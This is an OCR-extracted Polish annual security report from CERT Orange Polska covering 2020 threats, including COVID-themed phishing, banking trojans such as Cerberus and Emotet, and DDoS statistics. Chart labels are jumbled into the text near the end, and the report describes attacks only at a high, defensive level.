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Rok pod znakiem pandemii

To byt rok zdecydowanie inny niz wszystkie.

Rok pandemii koronawirusa, dla wielu z nas rok pracy
i nauki z domu. Koniecznos$¢ btyskawicznego
przystosowania sie do nowych warunkéw to trudnoseé,
z jaka nikt do tej pory w cyfrowym $wiecie nie miat

do czynienia. Z drugiej strony — koronawirus
przyspieszyt upowszechnianie technologii, ktére

w innych warunkach bytoby roztozone na lata.

Firmy stanety przed olbrzymim wyzwaniem nie tylko
pod wzgledem logistyki i wydajnosci infrastruktury,
ale — co réwnie, a moze i bardziej istotne —
cyberbezpieczenstwa. W ramach firmowej sieci
zazwyczaj chroni nas przeciez mniej lub bardziej

rozbudowany parasol zabezpieczen. Co wiecej,
do tej pory zdalnie z korporacyjng siecig taczyt
sie niewielki odsetek pracownikdéw. Jak zmienito
sie to w czasach pandemii?

Poczatki zdalnej pracy i nauki udowodnity, jak wazng
role petni cyberbezpieczenstwo. Oszusci szybko

zaczeli wykorzystywaé tematyke zwigzang z COVID-19
do wytudzania danych. takngc wiadomosci o nieznanym
zagrozeniu dawali$my sie oszukiwaé fake newsom,
prowadzacym do fatszywych stron Facebooka.

Bojac sie zarazenia, klikaliSmy w linki o rzekomych
dezynfekcjach paczek. Tymczasem w Polsce

nie zdarzyty sie (lub nie przedostaty sie do wiadomosci
publicznej) spektakularne wtamania, czy wycieki
danych, ktére bytyby efektem atakéw na pracownikow
przeniesionych do domowych biur. Przypadek?
Niekiedy moze tak, ale w zdecydowanej wiekszosci

to efekt ciezkiej pracy, edukaciji, a takze inwestyciji:
albo w rozwigzania bezpieczenstwa, albo

we wspotprace z tymi, ktérzy — tak jak Orange

Polska — dysponuja narzedziami, wiedzg

i dtugoletnim doswiadczeniem.

Dla nas najlepszym podsumowaniem roku okazat sie
15 pazdziernika. Wtedy dowiedzieliSmy sie, ze nasza
CyberTarcza, zostata wybrana najlepszym operatorskim
rozwigzaniem z dziedziny bezpieczenstwa sieci,
zdobywajac prestizowa nagrode Swiatowego Forum
Szerokopasmowego. Dla wielu internautéw CyberTarcza
to komunikat pojawiajgcy sie na ekranie urzadzenia,
informujgcy o wykrytym zagrozeniu. Pod tym znanym
szyldem Kkryje sie znacznie wiecej: to ona chroni
uzytkownikow sieci Orange Polska przez caly czas.
Jest skuteczna dzieki codziennej pracy zespotu

CERT Orange Polska oraz dziataniu naszych

systeméw bezpieczeristwa. To ztozone procesy,
ktérych najczesciej po prostu nie widzicie, a ktére
m.in. uniemozliwiajg ztosliwemu oprogramowaniu
taczenie sie z infrastrukturg przestepcow, albo
dla Waszego bezpieczerstwa blokujg wejscia

na podejrzane strony. To spory powdd do dumy.

Przed Wami juz 7. Raport CERT Orange Polska.
Publikacja prezentujgca kolejny rok pracy naszego
zespotu dbajgcego o bezpieczenstwo w sieci.

Petna statystyk, analiz, eksperckich tekstéw, a takze
wskazéwek, jak radzi¢ sobie z ogromem zagrozen
czyhajgcych w internecie. Znajdziecie tu takze informacje
o tym, jak mozemy Was wspiera¢ w budowaniu
bezpieczenstwa Waszej firmy.

Badzcie bezpiecznil Zarbwno w sieci, jak i — w tych

wyjatkowych czasach — poza nig. Zycze mitej
i owocnej lektury.

Prezes Zarzadu Orange Polska
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Przeglad najwazniejszych wydarzen i zagrozen
w Polsce i na Swiecie w roku 2020

Atak na serwery ONZ

Dziennikarze The New Humanitarian
informuja, ze dotarli do poufnego raportu
ONZ w sprawie ataku na serwery tej
organizacji. Zgodnie z doniesieniami
zaatakowano dziesigtki serweréw w trzech
roznych lokalizacjach. Ustalenia dziennikarzy
potwierdzit rzecznik ONZ, ktory stwierdzit, ze
faktycznie doszto do naruszenia ,kluczowych
komponentéw infrastruktury” i atak ten zostat
zakwalifikowany jako ,powazny”. Wskutek
ataku wyciekto podobno okoto 400 GB
danych, w tym dane osobowe..

Fatszywe loterie

Masowe kampanie z fatszywymi loteriami.
Na podstawie przypisania numeru IP

do operatora, uzytkownikom podstawiano
fatszywe strony operatoréw, na ktérych
wykradano dane osobowe i dane kart
pfatniczych. Zdarzaly sie rowniez
przekierowania na fatszywe bramki
ptatnosci, na ktérych wykradano dane
dostepowe do kont bankowych.

Podszycia pod Orange

Duze kampanie podszywajace sie
bezposrednio pod rézne ustugi Orange
Polska. Celem tych kampanii byto
wykradanie danych dostepowych do tych
ustug oraz danych osobowych uzytkownikdéw.

SMS spam

Kampania SMS spam na horoskopy.
Celem kampanii byto zachecenie
uzytkownikéw Androida do instalacji
aplikacji z trojanem bankowym.
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Wangiri

Powrdcit WANGIRI scam — uzytkownikéw
zachecano do wykonywania
wysokoptatnych potgczen
telefonicznych (uzyte kierunki

to Papua — Nowa Gwinea i Kuba).

Wyciek loginéw i haset do telnet

Publikacja na jednym z foréw o hackingu

listy ponad 515 tysiecy danych dostepowych
do ustugi telnet na réznych urzadzeniach
widocznych w internecie. Prawdopodobnie
urzadzenia te byly wczesniej wykorzystywane
w atakach DDoS. CERT Orange Polska
wyselekcjonowat urzadzenia klientow naszej
sieci i poinformowat ich o zaleceniach
zwigzanych z tym wyciekiem.

Fatszywe loterie

W dalszym ciggu obserwujemy
fatszywe loterie.

Phishing na serwis podatki.gov.pl

Kampania wykradajgca dane logowania
do bankowosci elektronicznej pod hastem
koniecznosci doptaty niewielkiej kwoty
podatku.

Firma dostarczajaca rozwiazania dla
bankow ofiara ransomware’u

Finastra - firma dostarczajgca rozwigzania
technologiczne bankom na catym $wiecie,
poinformowata, ze zamyka kluczowe
systemy w odpowiedzi na incydent
bezpieczenstwa. Po odigczeniu

serwerdw na jeden dzien sytuacje
opanowano, tak by przywrécic¢
podstawowe funkcje biznesowe.
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Kto$ ustalit numery telefonéw setek
tysiecy uzytkownikéw Twittera

Twitter publicznie ogtosit, ze zablokowat ,,duzg
sie¢ kont”, ktére byty wykorzystywane do
mapowania numerdéw telefonéw do konkretnych
kont i jego uzytkownikéw. Btad pozwalat na
identyfikacje nawet w przypadku, jesli osoba

ta nie podata swojego numeru telefonu a
jedynie uzywata go w dwuetapowym
uwierzytelnieniu. Cze$¢ uzytkownikéw byta
zupetnie nieSwiadoma, ze numer podany
wyfgcznie pod katem uwierzytelniania jest
wykorzystywany takze do wyszukania na portalu.

Kampania dystrybucji bankera Ursnif

Duza kampania dystrybucji bankera Ursnif.
Uzytkownicy otrzymywali maila z ,fakturg”
zawierajgca droppera malware.

Ciag dalszy kampanii podszywajacych
sie pod ustugi operatora

Na podstawie adresu IP podstawiana byta
strona operatora (w tym Orange Polska).
Kampania miata na celu kradziez danych
osobowych i danych logowania do
bankowosci elektronicznej. Nowy element
kampanii - zapisywanie uzytkownikéw do

wysokoptatnych ustug subskrypcyjnych (na
przyktad wiadomosci w SMS, horoskopy).
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Dalsza aktywnos¢ kampanii SMS

Tym razem hastem zachecajacym

do ujawnienia swoich danych logowania
do bankowosci elektronicznej byty:
bony zakupowe, wyprzedaze,

doptaty do przesytek kurierskich,
fatszywe sklepy internetowe.

Ciag dalszy kampanii dystrybuujacych
malware.

Mail -> ,faktura” -> infekcja malware.
Jako nowos¢, doszta dystrybucja trojana
Trickbot za posrednictwem makr

w plikach *.doc

Phishing - pismo od Prezesa Urzedu
Ochrony Konkurencji i Konsumentow

E-mail podszywajacy sie pod prezesa
UOKIK zawierat plik, ktory, wykorzystujac
podatnosci w Office, infekowat komputery
malware .NET RAT.

Phishing

Kampanie phishingowe — mapa
rozprzestrzeniania sie COVID-19 (fatszywa
aktualizacja Java, instalacja malware),
oraz konieczno$c¢ optaty za ,,dezynfekcje”
przesytki kierujgca na fatszywa

bramke ptatnosci.

OPL Koronawirus
Kampanie powigzane z poczatkiem pandemii
COVID-19. Kanaty dystrybuciji to email, SMS,

komunikatory internetowe. Celem ich byta
OPL kradziez danych osobowych, kradziez danych
logowania do bankowosci elektronicznej
(fatszywe bramki ptatnosci), kradziez danych
logowania do portali spotecznosciowych oraz
dystrybucja malware (w CERT widzieliSmy
prébki LokiBot, AgentTesla, Ursnif, Formbook).
Cyberprzestepcy uzywali haset typu:

obowigzkowe szczepienia, Ministerstwo Zdrowia,

obowigzkowe wptaty na walke z pandemia,
lekarstwa na koronawirusa, rzgdowe wsparcie
Zywieniowe, ale réwniez przesytki kurierskie
czy hasta zwigzane z zakupami online.

Tylko w pierwszym tygodniu pandemii,
zablokowali§my na CyberTarczy

758 ztosliwych domen powigzanych

z tymi kampaniami.

OPL

Polska
OPL
Spoofing bankowy
OPL
Ciekawa kampania telefoniczna
I — wykorzystujaca spoofing numerow
telefonéw uzywanych przez banki

OPL do kontaktu z klientami. Dzwoniono
do klientéw, namawiajgc ich
do ujawnienia danych logowania
do bankowosci elektroniczne;j.

DanaBot

Duze kampanie dystrybuciji nowej wersiji
bankera DanaBot. E-maile zawierajace
Lfaktury” (*.xIsm), w ktérych zaszyte byty
skrypty VBS bedace dropperami trojana.
Wiadomosci tematycznie rézne, miedzy

innymi podszywajgce sie pod Orange Polska,

ale réwniez pod innych ustugodawcow.

Wygrates iPhone!

Nowa seria konkurséw podszywajacych
sie pod operatora (na podstawie numeru IP
uzytkownika). IPhone’a oczywiscie nie byto,

ale byta okazja straci¢ dane (osobowe,
logowania do bankowosci elektronicznej,
do portali spotecznosciowych) i pienigdze.
Kampania byta dystrybuowana przede
wszystkim w mediach spotecznosciowych.

Banker ZLoader

Kampania podszywajgca sie pod Orange
Polska i innych ustugodawcow, skierowana
przede wszystkim do uzytkownikéw
biznesowych. Dystrybucja trojana ZLoader
(nowa wersja bankera ZEUS).

Polska

OPL

Swiat

Polska

OPL

Problem z odnowieniem ustug Orange

E-mail informujacy o problemach

z odnowieniem subskrypciji ustug,
kierujacy na fatszywa strone wykradajaca
dane kart ptatniczych.

Kampania SMS na anulowanie subskrypcji

Pod pretekstem anulowania wysokoptatnych
subskrypcji (miedzy innymi prognoza
pogody) przekierowywata na fatszywa
bramke ptatnosci, wykradajaca dane
logowania do bankowosci elektroniczne;.

' Atak na amerykanskie CIA

Wyciek danych z amerykanskiej agencji
kontrwywiadowczej. Sprawcy

nie zidentyfikowano. Doniesienia

w tej sprawie sugerujg istnienie bardzo
powaznej luki bezpieczenstwa w sieci
spowodowanej przez lata zaniedban.

Wygrates iPhone

Nowa fala scam na iPhone. Nowy element

w kampanii to — oprécz samej kradziezy
danych - takze zapisywanie uzytkownikow
do wysoko ptatnych ustug subskrypcyjnych
(60 euro miesiecznie).




Raport CERT Orange Polska 2020

Kampania dystrybucji Cerberusa

Duza kampania skierowana na jedng

z platform handlowych. Pod pozorem
specjalnych ofert, kampania zachecata

do instalacji Ztosliwej aplikacji na system
Android. Aplikacja ta zawierata bankera
Cerberus — oprogramowanie kradngce dane
logowania do bankowosci elektroniczne;.
Jest to jednoczesnie jedna z pierwszych
kampanii powigzanych z Cerberusem.

Ransomware na urzadzenia Garmin

Uzytkownicy urzadzen GPS oraz fitness
amerykanskiej firmy Garmin stracili dostep do
$wiadczonych przez firme ustug. Uzytkownicy

narzekali na btedy i brak synchronizaciji
produktéw z aktywnos$ciami. Przyczyna
probleméw okazat sie atak ransomware.

Powr6t trojana Emotet

Nieco juz zapomniany Emotet powrdcit

w kampaniach mailowych, w ktérych pod
réznymi pretekstami oferowano
uzytkownikom instalacje droppera

tego malware’u.
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Najwiekszy atak DDoS

Najwiekszy dotychczas odnotowany
i zmitygowany atak DDoS w Polsce:
303 Gbps i 80 min pakietow na sekunde.

SMS z Cerberusem

Kolejna duza kampania SMS z Cerberusem,
tym razem podszywajgca sie pod dostawce
przesytek, rowniez zachecata do instalacji
trojana w fatszywej aplikaciji.

Seria kampanii oszukujacych ,,na kuriera”

Kampanie zazwyczaj SMS-owe, informujace
o koniecznosci doptaty niewielkiej kwoty

do przesytki. Mechanizm oszustwa
przewidywat podstawienie fatszywej bramki
ptatnosci i w efekcie kradziez pieniedzy

z konta bankowego ofiary.

Druga opcja, ktéra w tych kampaniach

sie pojawiata, to zacheta do instalac;ji
fatszywej aplikacji zawierajacej (znowu)
bankera Cerberus.

Naruszenie bezpieczenstwa danych
24min klientow Experian w Afryce

Potudniowoafrykanski oddziat agenc;ji
Experian, zajmujgcej sie obstuga kredytow
konsumenckich, ujawnit naruszenie
bezpieczenstwa danych. Agencja padta
ofiarg phishingu i sama przekazata dane
osobie nieupowaznione;j.

Wieksze wykorzystanie otwartych
ustug w DDoS-ach

Zaobserwowalismy wiekszg liczbe atakow
DDoS, w ktérych uzywane byty urzgdzenia
klientéw Orange. W atakach wykorzystywano

gtéwnie spoofing pakietéw IP i wzmocnienie
sity atakdw z uzyciem widocznych w inter-
necie, otwartych ustug (na przyktad Open
Resolver DNS odpowiadajgcy na wszystkie
zapytania z internetu).

Malware za posrednictwem
ustug chmurowych

O ile pojedyncze domeny serwujgce malware
tatwo jest zablokowaé, tak znacznie trudniej
jest ochroni¢ uzytkownikéw przed malware
rozpowszechnianym w ustugach chmurowych
czy dyskach sieciowych typu Dropbox.
Pojawity sie kampanie wykorzystujgce
wiasnie taki sposob dystrybuciji ztosliwego
oprogramowania, na przyktad zachecajgce
do samodzielnego pobrania faktury (plik exe
udajgcy pdf). Proba otwarcia takiego pliku
powoduje zainfekowanie komputera ofiary.

Phishing

Dalszy ciag kampanii fake news, w tym
réwniez opowiadajacych o ludziach,
ktorzy btyskawicznie wzbogacili sie

na kryptowalutach. Cel tych kampanii
jak zawsze ten sam — kradziez danych

wrazliwych, poswiadczen logowania

do bankowosci elektronicznej lub mediow
spotecznosciowych. Dodano tez mozliwos¢
inwestowania na fatszywych gietdach
kryptowalutowych: mozliwos¢ wptacenia,
czesto niematego wpisowego,

i jego natychmiastowe;j utraty.

Polska

Pazdziernik

Swiat

OPL
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Postawiono zarzuty Chinczykom, ktérzy
dokonali atakéw na ponad 100 organizaciji

Departament Sprawiedliwosci Stanow
Zjednoczonych oskarzyt 5 obywateli Chin

o wtamanie do ponad 100 firm i instytucji

w Ameryce i za granicg, w tym do sieci rzadu
Indii. Oskarzenie dotyczyto rowniez kradziezy
cennych danych dotyczacych oprogramowania
oraz wywiadu gospodarczego.

Ataki z uzyciem narzedzi remote access

Nowy rodzaj ataku — pod pretekstem
wybitnie optacalnych inwestycji

w kryptowaluty badz réznego rodzaju
wsparcia dla uzytkownika, cyberprzestepcy
namawiajg do instalacji TeamViewer,
AnyDesk lub innych narzedzi zdalnej

obstugi komputera. Nastepnie socjotechnika
przekonuja uzytkownika do zalogowania

sie na konto bankowe i kradng pienigdze.

Fake news i kradzieze kont
w portalach spotecznosciowych

Nasility sie kampanie fake news — sensacyjna
wiadomosé, ktorg natychmiast trzeba
zobaczy¢ w mediach spotecznosciowych

i podzieli¢ sie nig ze znajomymi. Z tym ze
uwierzytelnianie uzytkownika do mediéw
spotecznosciowych przebiega na fatszywym
panelu logowania. Tracimy konto, ktére jest
pdzniej wykorzystywane do dalszych oszustw,
lub na przyktad do wytudzania kodéw BLIK.

Stany Zjednoczone ujawniaja
personalia grupy APT Sandworm

Zidentyfikowano i postawiono zarzuty
cztonkom niestawnej grupy APT
»Sandworm”, odpowiedzialnej m.in.

za ztosliwg kampanie NotPetya.
Oskarzeni to szesciu oficeréw rosyjskiej
GRU - wywiadowczej stuzby specjalnej.
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Podszycia pod Orange Polska

Kilka kampanii, w ktérych podszywano
sie pod Orange Polska. W kampaniach
tych dystrybuowany byt réznego rodzaju
malware (miedzy innymi trojan Hancitor,
banker ZLoader). Jedna z ciekawszych
kampanii byta ta, w ktérej wykorzystano
strone naszej Cybertarczy — na, falszywej
oczywiscie, stronie wyswietlano
uzytkownikom informacije o koniecznosci
zainstalowania poprawek na telefonie
zwigzanych z aktualizacja sieci
przeprowadzong przez Orange. Pod linkiem
umozliwiajgcym pobranie tych poprawek
znajdowat sie natomiast trojan Hydra.

Oszustwo na WhatsApp

Nowy rodzaj oszustwa - uzytkownik
po wystawieniu oferty sprzedazy
otrzymuje propozycje zakupu towaru.
Oszust kontaktuje sie ze sprzedajacym
poprzez fatszywe konto na WhatsApp

i w celu finalizacji transakcji proponuje
skorzystanie z fatszywej ustugi ptatnosci.
W tym celu sprzedajacy, zeby odebraé
zapfate, musi wprowadzi¢ dane karty
ptatniczej, ktére natychmiast traci.
Ciekawym elementem kampanii jest
spostrzezenie niektdrych z ofiar,

ze oszusci w komunikacji wtrgcajg
rosyjskie badz znieksztatcone stowa

a sprowokowani pisza cyrylica.

Opublikowane dane z wyciekow

W darknecie opublikowano baze ponad
226 milionéw unikalnych par e-mail-hasto
pochodzacg prawdopodobnie

z 23 000 zhakowanych stron i serwisow
internetowych (Cit0day.in).

W wycieku znajdowaty sie dane

z okoto 1000 domen .pl

12

Listopad

Polska

OPL

OPL

OPL

OPL

Malware z Komendy Gtéwnej Policji

Uzytkownicy dostali, fatszywego
oczywiscie, maila z Komendy Gtéwnej
Policji. W mailu byt zatgcznik
zawierajacy Remote Access

Trojan Remcos.

Kradziez kont Steam

Pod pretekstem konkursu i odebrania
nagrody konieczne ma by¢ zalogowanie
sie do ustugi Steam. A poniewaz
logowanie jest na fatszywej stronie,

to tym samym uzytkownik traci

takie konto.

Malware

Duza kampania, podszywajaca sie
pod ustugi kurierskie i dystrybuujaca

malware (tym razem plik .doc instalujgcy
w systemie ofiary data stealer Ficker).

Malware Hydra

W tej kampanii jako pretekst
do instalacji aplikacji mobilnej z malware,

wykorzystano koniecznos¢ aktualizaciji
polityki prywatnosci jednego
Z Serwisow.

Swiat

Polska

OPL

OPL

Krytycznie wykorzystana luka
w SolarWinds

Krytyczna luka bezpieczenstwa

w popularnym systemie zarzadzania
SolarWinds zostata wykorzystana
przez grupy cyberprzestepcze

do wyrafinowanego ataku na liczne
instytucje rzadowe i przedsiebiorstwa
korzystajgce z tego oprogramowania.
Rozpoczeto sie szeroko zakrojone
$ledztwo w sprawie tego incydentu.

Fraud na urzadzeniach abonenckich

Wykrylismy kilka przypadkéw
naruszen urzgdzen abonenckich
wyposazonych w karty SIM (kamery
monitoringu, routery D-Link DWR-921,

modemy MOXA). Przejete urzagdzenia
sg wykorzystywane do fraudow
telekomunikacyjnych (wysoko

ptatne potaczenia gtosowe i SMS-y,
ptatnosci za e-ustugi).
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CyberTarcza dziatajaca w sieci Orange Polska
jest mechanizmem, ktory na podstawie
monitorowania ruchu sieciowego wychwytuje
proby zestawienia potaczen do adresow
sklasyfikowanych jako szkodliwe i blokuje je.

Raport CERT Orange Polska 2020

Podsumowanie roku 2020

Ataki DDoS w sieci Orange
Polska

Ataki DDoS (Distributed Denial of Service - odmowa

dostepu do ustugi) to wcigz jedne z najprostszych

do realizacji i najbardziej popularnych atakéw na sie¢,

system lub uzytkownika koricowego. Ataki te sa jednoczes$nie
jednymi z bardziej niebezpiecznych i groznych w skutkach.
Ich gtéwnym celem jest wysycenie facza, utrudnienie

badz uniemozliwienie korzystania z oferowanych przez
zaatakowany system ustug poprzez wysytanie bardzo

duzej liczby zapytan do zaatakowanej ustugi. Rezultatem

jest sparalizowanie facza lub infrastruktury ofiary.

Do zrealizowania takich atakow, atakujacy uzywajg kilku
réznych technik, opartych w gtéwnej mierze na botnetach

- czyli sieciach przejetych urzadzen, nad ktérymi atakujacy
posiadajg kontrole. Mogag im wydaé polecenie zaatakowania
danej ustugi, serwisu lub adresu IP z wykorzystaniem wielu
protokotéw sieciowych (na przyktad TCP, DNS, UDP, NTP,
ICMP, CLDAP). Zeby wzmocnié skale ataku i jednoczesnie
utrudni¢ identyfikacje jego zrddta, wykorzystywane sg techniki
Amplification (wzmocnienia) i Reflection (odbicia), powodujace
w rezultacie zamaskowanie zrédta ataku z jednoczesnym
bardzo duzym zwielokrotnieniem kierowanych do
atakowanego odpowiedzi. Jednoczes$nie, tatwa mozliwosé
przeprowadzenia ataku, wynikajgca z duzej dostepnosci

i niskiej czarnorynkowej ceny pojedynczego ataku moga
niektérych uzytkownikéw zacheca¢ do przeprowadzania
takich eksperymentdw.

System ochrony przed atakami DDoS, ktérego uzywamy
w Orange Polska, stale monitoruje charakterystyke ruchu
na wszystkich routerach brzegowych w sieci. W przypadku
wykrycia charakterystyki ruchu noszgcej znamiona ataku,

uruchamiane sg mechanizmy filtrujgce ztosliwy ruch.

Ma to przede wszystkim na celu ochrone naszych sieci

i zapewnienie wszystkim uzytkownikom mozliwosci
korzystania z niej na oczekiwanym poziomie. Na ponizszym
rysunku prezentujemy rozkiad atakéw DDoS odnotowanych
w sieci Orange Polska na przestrzeni 2020 roku.

W catym 2020 roku nasz system ochrony przed atakami
DDoS interweniowat ponad 65 000 razy w sieci stacjonarnej
i 12 500 razy w sieci mobilnej. Oznacza to, ze tyle razy
uruchamiali$my filtrowanie szkodliwego ruchu sieciowego,
jednoczesnie zapewniajac klientom nieprzerwang mozliwo$é
korzystania z Internetu.

Od kilku juz lat obserwujemy w CERT, ze jednym z

celéw atakdw sg gracze on-line, a atak ma spowodowac
wyeliminowanie ich z gry lub takie opéznienie w transferze
danych, ktére nie pozwoli atakowanemu zrealizowac celu.
Ataki te sg coraz mniej skuteczne (bo stale doskonalimy
mechanizmy ochrony), ale powodujg, ze w zaatakowanym
segmencie sieci przez krotkg chwile niektorzy uzytkownicy
moga zaobserwowaé zmniejszong wydajnos¢ dostepu

do Internetu. Jednak dzieki naszej ochronie, nie wystepujg
awarie sieci spowodowane atakami, a uzytkownicy wcigz
moga z Internetu korzystac.

Na ponizszym wykresie wida¢ réwniez wptyw sytuaciji

w kraju na ataki DDoS. Przej$cie na prace zdalng i zamkniecie
szkét mozna powigzaé z istotnym wzrostem liczby atakow

od mniej wiecej potowy marca. Nastepnie stopniowe
luzowanie obostrzen (pomimo nauki zdalnej) zaprocentowato
rowniez spadkami liczby atakow. Ponowny trend wzrostowy
ich liczby obserwujemy od potowy pazdziernika, czyli

od drugiego zamkniecia szkét i wprowadzenia przez rzad
zaostrzonych regulaciji.

Roczny rozktad atakéw DDoS obserwowanych w sieci Orange

B Liczba atakow w sieci mobilnej M Liczba atakow w sieci stacjonarnej

[]Najwiekszy atak w sieci mobilnej [Gbps] M Najwiekszy atak w siecistacjonarnej [Gbps]
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Jako operator najwiekszej w kraju liczby stacjonarnych tgczy
internetowych i jednoczesnie operator sieci mobilnej,
obserwujemy, ze Internet mobilny staje sie dla czesci z nas
podstawowym i jedynym medium dostepowym. Szczegdlnie
istotne jest zatem zapewnienie skutecznej ochrony réwniez w
przypadku tej sieci, zwtaszcza, ze o ile liczba atakéw na siec¢
mobilng wcigz pozostaje na stosunkowo niskim poziomie, to
sita atakdw kierowanych do tej sieci juz powoli zréwnuje sie z
sitg atakdw kierowanych do sieci stacjonarnej.

Najwiekszym atakiem w minionym roku byt atak na serwer
komunikatora TeamSpeak, zlokalizowany w jednym z miast
potnocnej Polski. Atak ten miat miejsce w czerwcu 2020 roku
(jest on widoczny na powyzszym wykresie), miat szacowang
wielko$¢ 303 Gbps, 88 Mpps (miliondéw pakietéw na
sekunde), trwat okoto 8 minut. Zostat on skutecznie odparty.
Byt to wtedy najwiekszy znany w historii polskiego Internetu
atak DDoS.

Ataki DDoS kierowane sa réwniez na uzytkownikéw bi-
znesowych. Zazwyczaj ataki sg ukierunkowane na scisle
okreslone cele (ustugi i serwisy firmowe) i obliczone na
osiggniecie konkretnych rezultatow.

CyberTarcza

CyberTarcza dziatajgca w Orange Polska jest
mechanizmem, ktéry na podstawie monitorowania ruchu
sieciowego wychwytuje proby zestawienia potgczen do
adresow sklasyfikowanych jako szkodliwe i blokuje je.

W niektorych przypadkach uzytkownik otrzymuije
dodatkowg informacje, ze jedno z jego urzadzen probuje
odwota¢ sie do szkodliwego adresu. Mechanizmami
CyberTarczy objeliSmy zaréwno strony phishingowe,
wyludzajace od uzytkownikéw réznego rodzaju dane

(na przykfad dane logowania do bankowosci internetowej,
do portali spotecznosciowych, kont i serwiséw
internetowych), fatszywe bramki pfatnicze, strony
podszywajgce sie pod znanych ustugodawcow

i naktaniajace do instalacji ztosliwego oprogramowania,
jak i adresy Command&Control botnetéw czyli te,

z ktérymi komunikuje sie szkodliwe oprogramowanie.

Na ponizszym wykresie pokazujemy liczbe unikalnych uzytko-
wnikow, u ktérych CyberTarcza zablokowata proby potgczen
do szkodliwych adreséw na przestrzeni catego 2020 roku.

Blokady potaczen unikalnych klientéw do szkodliwych adreséw

wykonane przez CyberTarcze w 2020 roku
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B Blokady wejs¢ na strony phishingowe

B Blokady proéb infekcji ztosliwym oprogramowaniem i komunikacji z C&C
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Zrédtami danych dla CyberTarczy
sa w gtéwnej mierze wiasne analizy
CERT Orange Polska, informacje
i probki przekazywane do CERT
przez uzytkownikéw oraz bazy danych
znanych $wiatowych dostawcow ustug
bezpieczenstwa. Na tej podstawie 80%
klasyfikujemy zagrozenia, a nastepnie 70%
ostrzegamy uzytkownikoéw, jesli probuja 60%
oni potgczy¢ sie z adresem internetowym 50%
majgcym ztg reputacje. Dodatkowo, 20%
na poczatku 2020 roku uruchomiliémy ’
mechanizmy sztucznej inteligencii, S
analizujgce ruch w sieci Internet, 20%
ktore pozwalajg nam na szybsza 10%
0%

100%
90%

i skuteczniejszg detekcje
niepozadanych zjawisk.

uzytkownikow (skumulowany)

odsetek unikalnych

Kazde zgtoszenie, niezaleznie od jego

Zrodta, jest sprawdzane i klasyfikowane

przez analitykéw CERT. Dzieki temu, jestesmy

w stanie skuteczniej chroni¢ naszych uzytkownikow

przed utratg tozsamosci, pieniedzy lub zainfekowaniem
urzadzen, z ktérych korzystaja. Na wykresie pokazujemy
skutecznos$¢ poszczegdlnych mechanizméw detekcji
stron phishingowych w przeliczeniu na liczby
ochronionych przez CyberTarcze klientow.

Skutecznos$é poszczegolnych mechanizmow
detekcji stron phishingowych w przeliczeniu na
liczby ochronionych przez CyberTarcze klientow
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Kolejny wykres obrazuje udziat domen w liczbie unikalnych
uzytkownikéw ochronionych przez CyberTarcze. Zaledwie
0.4% domen przycigga az 25% wszystkich klientow
probujacych odwiedza¢ strony phishingowe, 2% domen
to juz 50% klientow, a 20% domen — 95% klientdw.

Udziat domen w liczbie unikalnych uzytkownikow
ochronionych przez CyberTarcze

00% 20% 40% 6,0% 80% 10,0% 12,0% 14,0% 16,0% 18,0% 20,0%

odsetek liczby domen

Ponizej zamieszczamy jeszcze jeden wykres, tym razem
prezentujacy referery, czyli ,,zrodta phishingdw”. Sg to serwisy,
z ktdrych klienci sieci Orange najczesciej trafiajg na ztosliwe
strony. Odzwierciedlajg one najpopularniejsze mechanizmy
dystrybucji odnosnikéw do stron klasyfikowanych jako
phishingowe. Znaczna przewaga jednego ze zrédet pokazuije,
jak bardzo sieci spoteczno$ciowe zaangazowaty nas jako
uzytkownikéw internetu oraz jak za tym zaangazowaniem
podazyli twdrcy ztosliwych tresci i mechanizmoéw oszukiwania
odbiorcow.

Referery, czyli ,,zrodta phishingow”
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W sieci Orange Polska widzimy caty przekréj stron
phishingowych. Poczawszy od fatszywych konkursoéw,
przez fatszywe i sensacyjne informacje (,fake news”),
atszywe sklepy internetowe, fatszywe strony zachecajgce
do inwestowania prawdziwych pieniedzy (szczegdlnie

17



Raport CERT Orange Polska 2020 Raport CERT Orange Polska 2020

dotyczgce Bitcoina), fatszywe strony bankéw

internetowych i posrednikdéw pfatnosci, fatszywe
aplikacje i tak dalej. Duzo razy napisali§my stowo
fatszywe”, ale mechanizmy dziatania wigkszo$ci

Na diagramach prezentujemy najczesciej wykrywane w naszej
sieci rodziny ztosliwego oprogramowania - TOP roku 2020
pogrupowane wedtug liczby klientéw probujacych taczyc sie z
adresami powigzanymi z poszczegdlnymi rodzajami malware:

Na ponizszym wykresie pokazujemy relacje miedzy incydentami
zarejestrowanymi przez CyberTarcze, a generowanymi przez
malware i strony phishingowe. Kazda préba potaczenia

sie klienta ze ztosliwym adresem jest blokowana przez

z tych kampanii i stron sprowadzaja sie do tego,

zeby sktoni¢ uzytkownika do wejscia na taka strone

i podania swoich danych (zazwyczaj danych logowania
do bankowosci internetowej, danych kart ptatniczych,
danych logowania do portali spoteczno$ciowych

lub poczty e-mail). Cel jest za kazdym razem ten

sam — przejecie kont uzytkownikéw i kradziez
wszystkiego, co na nich da sie ukras¢, czyli pieniedzy
(w postaci przelewéw, kodéw BLIK, transakcji kartg

10 najczesciej wystepujacych typow
zlosliwego oprogramowania w sieci stacjonarnej

Emotet '
3%

DanaBot TrickBot
5% 4%

CyberTarcze. W przypadku stron phishingowych widaé duzo,
ale pojedynczych préb potaczen. W przypadku malware,
widaé, ze stosunkowo niewielka liczba zainfekowanych
klientéw generuje bardzo duze liczby préb potaczen

z adresami Command and Control poszczegdlnych zagrozen:

Relacja miedzy incydentami zarejestrowanymi przez CyberTarcze,
a generowanymi przez malware i strony phishingowe.

ptatnicza), tozsamosci, kont dostepu do innych ustug 500000 O
i serwiséw, czy nawet trofedw w grach on-line. 200 000 Wacatac
. . . . - 100000 Brushloader© @)

Inr,1ym rodzajem przestepczej dziatalnosci, przed S 50000 coLoadep. () CeTPEUS
ktdrg chroni CyberTarcza, sg wszelkiego rodzaju RAT Necurs | andromeda = Smokeloaderg 4
odmiany ztosliwego oprogramowania. W ruchu 5% 3% “;’ 20000 Nymaim  Ursnif O
sieciowym CyberTarcza jest w stanie zidentyfikowaé g toooo . kO O (y/Necurs
i zablokowaé préby potaczen do znanych adreséw § 5000 o FYKSPA 4

l . ' = Goodkit ({)Triada
powigzanych z malware. CyberTarcza ostrzega i blokuje g 000 o . o
proby potaczen ze stronami powigzanymi z malware 10 najczesciej wystepujacych typow B 1000 Zloader”  "OMO% ; o O
(wtedy uzytkownik ma szanse infekcji unikngg). ztosliwego oprogramowania w sieci mobilnej g 00 FlawedAmmy® %90 O inne
Dla wybranych zagrozen, za posrednictwem kampanii 8 Sality TrickBot
CyberTarcza informuje réwniez, ze jedno z urzadzen 3 200 Sality 5
